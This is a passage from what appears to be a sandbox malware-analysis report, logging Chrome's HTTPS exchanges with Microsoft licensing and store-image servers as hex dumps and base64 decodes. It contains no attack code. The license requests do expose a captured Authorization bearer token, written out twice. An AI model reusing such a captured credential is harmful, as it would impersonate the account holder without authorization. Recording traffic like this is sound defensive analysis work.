31 5a 54 53 6c 68 4a 64 45 52 7a 59 55 46 4a 5a 6e 64 35 55 6a 6c 69 61 47 
Data Ascii: vWDExdFh6d1I4V1JKa0RZZHUreFdnOGNKN2U1VWUrcjRGbE5NV2RrK21lK3BtWTBsalJ6Z2xLQUtSZ
1c4MUhzNXl0NlE9PTwvU2lnbmF0dXJlVmFsdWU+PEtleUluZm8gSWQ9Il8wZjgxYjI0Zi1iYzQwLTI3MTItMGQ1ZC1
lN2MxMDA4NWMzMzAiPjxLZXlWYWx1ZT48UlNBS2V5VmFsdWU+PE1vZHVsdXM+b1ZTSlhJdERzYUFJZnd5UjliaG

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

159 192.168.2.5 49926 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

Copyright Joe Security LLC 2022 Page 149 of 280



2022-07-01 09:01:37 UTC 2631 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.42
Content-Length: 4273
Host: licensing.mp.microsoft.com

2022-07-01 09:01:37 UTC 2633 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:37 UTC 2637 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:36 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 7945
MS-CorrelationId: bb998a76-b124-4d6b-9ef9-acf0f269298b
MS-RequestId: a3d3a8e3-11c2-4d7a-b7a7-1faeb5bfd0e8
MS-CV: UznHpAHqV0GMBdER.42.1530940949.0.0
X-Content-Type-Options: nosniff
MS-ServerId: 29

2022-07-01 09:01:37 UTC 2637 IN Data Raw: 7b 22 6c 69 63 65 6e 73 65 22 3a 7b 22 6b 65 79 73 22 3a 5b 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 
72 6d 54 79 70 65 22 3a 22 4d 6b 6d 73 22 2c 22 6b 65 79 49 64 22 3a 22 65 65 65 34 37 32 32 39 2d 39 34 37 64 2d 32 
61 63 37 2d 65 38 61 33 2d 34 39 62 61 66 65 65 32 35 31 64 31 22 7d 2c 22 76 61 6c 75 65 22 3a 22 50 45 78 70 59 32 
56 75 63 32 55 67 65 47 31 73 62 6e 4d 36 65 48 4e 6b 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 
6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 6a 61 47 56 74 59 53 49 67 65 47 31 73 62 6e 4d 36 65 48 4e 70 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 
6a 61 47 56 74 59 53 31 70 62 6e 4e 30 59 57 35 6a 5a 53 49 67 53 55 51 39 
Data Ascii: {"license":{"keys":[{"metadata":{"drmType":"Mkms","keyId":"eee47229-947d-2ac7-e8a3-49bafee251d1"},
"value":"PExpY2Vuc2UgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6e
HNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgSUQ9

2022-07-01 09:01:37 UTC 2638 IN Data Raw: 6a 45 34 4f 6a 4d 79 4c 6a 59 33 4f 44 63 32 4d 44 46 61 50 43 39 43 5a 57 64 70 62 6b 52 68 64 47 55 2b 50 
43 39 4d 61 57 4e 6c 62 6e 4e 6c 53 57 35 6d 62 7a 34 38 51 33 56 7a 64 47 39 74 55 47 39 73 61 57 4e 70 5a 58 4d 2b 
5a 58 6c 4b 63 31 70 58 5a 47 68 5a 4d 32 78 52 59 32 30 35 61 32 52 58 54 6a 42 54 56 31 46 70 54 32 6c 4a 65 45 35 
74 55 6d 6c 50 56 45 35 70 57 6d 6b 77 4e 45 35 36 55 54 52 4d 56 46 45 77 54 31 64 46 64 45 39 55 57 6d 6c 5a 55 7a 
46 73 54 31 64 57 61 30 30 79 52 54 46 61 61 6d 63 7a 54 57 31 52 61 57 5a 52 50 54 30 38 4c 30 4e 31 63 33 52 76 62 
56 42 76 62 47 6c 6a 61 57 56 7a 50 6a 78 54 55 45 78 70 59 32 56 75 63 32 56 43 62 47 39 6a 61 7a 35 47 51 55 46 42 
51 55 74 33 51 55 46 42 52 45 70 42 51 55 46 42 51 32 64 42 51 55 46 42 
Data Ascii: jE4OjMyLjY3ODc2MDFaPC9CZWdpbkRhdGU+PC9MaWNlbnNlSW5mbz48Q3VzdG9tUG9saWNpZXM+ZXl
Kc1pXZGhZM2xRY205a2RXTjBTV1FpT2lJeE5tUmlPVE5pWmkwNE56UTRMVFEwT1dFdE9UWmlZUzFsT1d
Wa00yRTFaamczTW1RaWZRPT08L0N1c3RvbVBvbGljaWVzPjxTUExpY2Vuc2VCbG9jaz5GQUFBQUt3QUF
BREpBQUFBQ2dBQUFB

2022-07-01 09:01:37 UTC 2639 IN Data Raw: 6b 6b 39 49 69 49 2b 50 46 52 79 59 57 35 7a 5a 6d 39 79 62 58 4d 2b 50 46 52 79 59 57 35 7a 5a 6d 39 79 
62 53 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 
6e 4c 7a 49 77 4d 44 41 76 4d 44 6b 76 65 47 31 73 5a 48 4e 70 5a 79 4e 6c 62 6e 5a 6c 62 47 39 77 5a 57 51 74 63 32 
6c 6e 62 6d 46 30 64 58 4a 6c 49 69 41 76 50 6a 77 76 56 48 4a 68 62 6e 4e 6d 62 33 4a 74 63 7a 34 38 52 47 6c 6e 5a 
58 4e 30 54 57 56 30 61 47 39 6b 49 45 46 73 5a 32 39 79 61 58 52 6f 62 54 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 
64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 53 38 77 4e 43 39 34 62 57 78 6c 62 6d 4d 6a 63 32 68 68 4d 6a 55 
32 49 69 41 76 50 6a 78 45 61 57 64 6c 63 33 52 57 59 57 78 31 5a 54 35 4a 
Data Ascii: kk9IiI+PFRyYW5zZm9ybXM+PFRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzI
wMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnbmF0dXJlIiAvPjwvVHJhbnNmb3Jtcz48RGlnZXN0TWV0aG9kIEFsZ
29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxlbmMjc2hhMjU2IiAvPjxEaWdlc3RWYWx1ZT5J

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:37 UTC 2640 IN Data Raw: 30 78 58 5a 45 4d 79 4c 31 52 52 62 32 52 6e 5a 55 68 61 65 6d 4a 6b 51 6e 5a 34 53 6e 5a 4c 61 48 42 69 
63 6e 45 32 57 6c 41 77 52 6e 4e 54 52 57 78 4d 64 31 4a 76 54 45 46 74 64 6a 64 36 53 58 56 57 64 7a 4e 57 59 6a 64 
30 5a 6c 46 30 4e 57 4a 71 51 30 52 49 55 6b 46 48 4f 57 5a 6c 63 30 35 73 57 55 74 57 4d 33 6c 69 65 55 35 79 53 48 6
c 36 5a 32 78 6d 57 6c 42 53 51 6a 56 56 53 6c 70 33 4d 7a 4a 35 61 54 41 7a 65 6c 46 68 4b 30 78 4d 59 54 41 31 5a 
6d 70 7a 4e 6d 70 76 52 57 31 73 53 47 4d 31 51 6e 4a 48 55 58 4a 48 63 6d 4a 4f 54 55 4a 68 61 48 6f 30 59 32 31 31 
65 45 74 44 4e 43 39 6b 61 45 56 69 4e 30 70 61 52 6c 56 72 59 7a 42 4e 55 6d 68 7a 4c 30 30 7a 56 6d 55 31 4d 54 46 
49 55 57 5a 4c 64 55 63 72 4f 54 4a 6e 4d 55 39 6d 5a 6b 70 6b 55 6e 4e 42 
Data Ascii: 0xXZEMyL1RRb2RnZUhaemJkQnZ4SnZLaHBicnE2WlAwRnNTRWxMd1JvTEFtdjd6SXVWdzNWYjd0ZlF
0NWJqQ0RIUkFHOWZlc05sWUtWM3lieU5ySHl6Z2xmWlBSQjVVSlp3MzJ5aTAzelFhK0xMYTA1ZmpzNmp
vRW1sSGM1QnJHUXJHcmJOTUJhaHo0Y211eEtDNC9kaEViN0paRlVrYzBNUmhzL00zVmU1MTFIUWZLdUc
rOTJnMU9mZkpkUnNB

2022-07-01 09:01:37 UTC 2641 IN Data Raw: 4f 63 7a 35 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 75 57 6e 56 75 5a 55 31 31 63 32 6c 6a 58 7a 68 33 5a 57 
74 35 59 6a 4e 6b 4f 47 4a 69 64 32 55 38 4c 30 46 7a 63 32 39 6a 61 57 46 30 5a 57 52 51 52 6b 35 7a 50 6a 78 4d 5a 
57 46 7a 5a 56 4a 6c 62 6d 56 33 59 57 78 51 5a 58 4a 70 62 32 51 2b 4d 54 49 35 4e 6a 41 77 50 43 39 4d 5a 57 46 7a 
5a 56 4a 6c 62 6d 56 33 59 57 78 51 5a 58 4a 70 62 32 51 2b 50 43 39 43 61 57 35 6b 61 57 35 6e 50 6a 78 4d 61 57 4e 
6c 62 6e 4e 6c 53 57 35 6d 62 79 42 55 65 58 42 6c 50 53 4a 4d 5a 57 46 7a 5a 53 49 67 54 47 6c 6a 5a 57 35 7a 5a 56 
56 7a 59 57 64 6c 50 53 4a 50 62 6d 78 70 62 6d 55 69 49 45 78 70 59 32 56 75 63 32 56 44 59 58 52 6c 5a 32 39 79 65 
54 30 69 55 6d 56 30 59 57 6c 73 49 6a 34 38 53 58 4e 7a 64 57 56 6b 52 47 
Data Ascii: Ocz5NaWNyb3NvZnQuWnVuZU11c2ljXzh3ZWt5YjNkOGJid2U8L0Fzc29jaWF0ZWRQRk5zPjxMZWFzZ
VJlbmV3YWxQZXJpb2Q+MTI5NjAwPC9MZWFzZVJlbmV3YWxQZXJpb2Q+PC9CaW5kaW5nPjxMaWNlbnNlS
W5mbyBUeXBlPSJMZWFzZSIgTGljZW5zZVVzYWdlPSJPbmxpbmUiIExpY2Vuc2VDYXRlZ29yeT0iUmV0YWlsIj48SXN
zdWVkRG

2022-07-01 09:01:37 UTC 2642 IN Data Raw: 75 51 6d 68 5a 4d 6e 52 6f 57 6a 4a 57 53 6c 70 48 56 6e 56 6b 52 32 78 74 59 56 64 57 65 55 6c 71 62 32 6c 
4f 62 56 46 34 54 6c 52 46 65 55 31 71 59 33 52 4f 62 55 70 72 54 31 4d 77 4d 30 31 71 57 6d 74 4d 56 30 6c 36 54 55 
64 56 64 46 6c 55 61 47 68 4e 52 45 55 30 57 6b 64 4f 61 6b 39 45 53 6d 6c 4a 61 58 64 70 59 30 64 47 61 6d 45 79 52 
6d 35 61 56 6c 49 31 59 30 64 56 61 55 39 70 53 6e 52 6a 4d 6d 77 30 53 57 6c 33 61 57 4e 49 53 6e 5a 61 53 46 5a 71 
5a 45 56 47 61 31 70 46 4f 58 56 6a 65 55 6b 32 56 7a 45 77 63 30 6c 75 51 6e 6c 69 4d 6c 49 78 57 54 4e 53 53 6c 70 
44 53 54 5a 4a 61 6d 78 59 56 32 74 53 54 31 45 78 53 6b 64 54 61 6b 35 52 56 6b 4e 4a 63 30 6c 75 54 6e 4a 6b 56 57 
78 72 53 57 70 76 61 55 31 45 51 58 68 4e 51 30 6f 35 57 46 4e 33 61 57 
Data Ascii: uQmhZMnRoWjJWSlpHVnVkR2xtYVdWeUlqb2lObVF4TlRFeU1qY3RObUprT1MwM01qWmtMV0l6TUdVd
FlUaGhNREU0WkdOak9ESmlJaXdpY0dGamEyRm5aVlI1Y0dVaU9pSnRjMmw0SWl3aWNISnZaSFZqZEVGa
1pFOXVjeUk2VzEwc0luQnliMlIxWTNSSlpDSTZJamxYV2tST1ExSkdTak5RVkNJc0luTnJkVWxrSWpvaU1EQXhNQ0o
5WFN3aW

2022-07-01 09:01:37 UTC 2643 IN Data Raw: 73 61 58 70 68 64 47 6c 76 62 6b 31 6c 64 47 68 76 5a 43 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 
68 30 64 48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 4d 54 41 76 65 47 31 73 4c 
57 56 34 59 79 31 6a 4d 54 52 75 49 79 49 67 4c 7a 34 38 55 32 6c 6e 62 6d 46 30 64 58 4a 6c 54 57 56 30 61 47 39 6b 
49 45 46 73 5a 32 39 79 61 58 52 6f 62 54 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 
76 4d 6a 41 77 4d 53 38 77 4e 43 39 34 62 57 78 6b 63 32 6c 6e 4c 57 31 76 63 6d 55 6a 63 6e 4e 68 4c 58 4e 6f 59 54 
49 31 4e 69 49 67 4c 7a 34 38 55 6d 56 6d 5a 58 4a 6c 62 6d 4e 6c 49 46 56 53 53 54 30 69 49 6a 34 38 56 48 4a 68 62 
6e 4e 6d 62 33 4a 74 63 7a 34 38 56 48 4a 68 62 6e 4e 6d 62 33 4a 74 49 45 
Data Ascii: saXphdGlvbk1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMTAveG1sLWV4Y
y1jMTRuIyIgLz48U2lnbmF0dXJlTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWx
kc2lnLW1vcmUjcnNhLXNoYTI1NiIgLz48UmVmZXJlbmNlIFVSST0iIj48VHJhbnNmb3Jtcz48VHJhbnNmb3JtIE

2022-07-01 09:01:37 UTC 2644 IN Data Raw: 55 52 6d 64 70 57 6b 4a 56 54 48 46 35 4d 47 4e 75 64 31 64 48 53 6d 4a 32 54 54 68 46 54 6b 31 33 51 54 
30 39 50 43 39 54 61 57 64 75 59 58 52 31 63 6d 56 57 59 57 78 31 5a 54 34 38 53 32 56 35 53 57 35 6d 62 79 42 4a 5a 
44 30 69 58 7a 42 6d 4f 44 46 69 4d 6a 52 6d 4c 57 4a 6a 4e 44 41 74 4d 6a 63 78 4d 69 30 77 5a 44 56 6b 4c 57 55 33 5
9 7a 45 77 4d 44 67 31 59 7a 4d 7a 4d 43 49 2b 50 45 74 6c 65 56 5a 68 62 48 56 6c 50 6a 78 53 55 30 46 4c 5a 58 6c 
57 59 57 78 31 5a 54 34 38 54 57 39 6b 64 57 78 31 63 7a 35 76 56 6c 4e 4b 57 45 6c 30 52 48 4e 68 51 55 6c 6d 64 33 
6c 53 4f 57 4a 6f 61 43 39 61 55 33 42 77 51 30 46 50 4b 32 6c 75 4f 56 42 50 54 46 64 6b 51 7a 49 76 56 46 46 76 5a 
47 64 6c 53 46 70 36 59 6d 52 43 64 6e 68 4b 64 6b 74 6f 63 47 4a 79 63 54 
Data Ascii: URmdpWkJVTHF5MGNud1dHSmJ2TThFTk13QT09PC9TaWduYXR1cmVWYWx1ZT48S2V5SW5
mbyBJZD0iXzBmODFiMjRmLWJjNDAtMjcxMi0wZDVkLWU3YzEwMDg1YzMzMCI+PEtleVZhbHVlPjxSU0FLZXlWYWx1Z
T48TW9kdWx1cz5vVlNKWEl0RHNhQUlmd3lSOWJoaC9aU3BwQ0FPK2luOVBPTFdkQzIvVFFvZGdlSFp6YmRCdnhKdkt
ocGJycT

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

16 192.168.2.5 49744 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:37 UTC 199 OUT GET /image/apps.10318.9007199266246761.cc710c1e-2e5d-4241-97cb-d944f43f9af1.8cf0ef1a-60ff-4508-85ab-
fd3d7f02c6a3?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive
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2022-07-01 09:00:37 UTC 200 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 13220
Content-Type: image/png
Last-Modified: Fri, 03 Jun 2022 23:39:52 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REE0NUJBNUI3MEJEODU"
MS-CV: 5ChDa+Bo80itmz7R.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 01 Jul 2022 09:00:37 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-07-01 09:00:37 UTC 200 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 
69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 6
9 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 
20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 
78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 37 2e 31 2d 63 30 30 30 20 37 39 2e 39 63 63 63 34 
64 65 39 33 2c 20 32 30 32 32 2f 30 33 2f 31 34 2d 31 34 3a 30 37 3a 32 
Data Ascii: PNGIHDR,,y}utEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="
W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.
9ccc4de93, 2022/03/14-14:07:2

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

160 192.168.2.5 49927 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:37 UTC 2645 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.43
Content-Length: 4285
Host: licensing.mp.microsoft.com

2022-07-01 09:01:37 UTC 2647 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:37 UTC 2651 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:36 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 7961
MS-CorrelationId: b71cff1c-6bd0-49d4-952a-362ee07a5cb7
MS-RequestId: 634f434a-c47c-45e5-974e-2157c80dd9ff
MS-CV: UznHpAHqV0GMBdER.43.1530941010.0.0
X-Content-Type-Options: nosniff
MS-ServerId: ent-bc5c55848-rm7jd
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2022-07-01 09:01:37 UTC 2651 IN Data Raw: 7b 22 6c 69 63 65 6e 73 65 22 3a 7b 22 6b 65 79 73 22 3a 5b 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 
72 6d 54 79 70 65 22 3a 22 4d 6b 6d 73 22 2c 22 6b 65 79 49 64 22 3a 22 66 63 39 33 62 34 35 32 2d 38 61 38 34 2d 64 
65 64 65 2d 33 62 37 61 2d 30 66 63 39 34 31 33 63 34 35 39 32 22 7d 2c 22 76 61 6c 75 65 22 3a 22 50 45 78 70 59 32 
56 75 63 32 55 67 65 47 31 73 62 6e 4d 36 65 48 4e 6b 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 
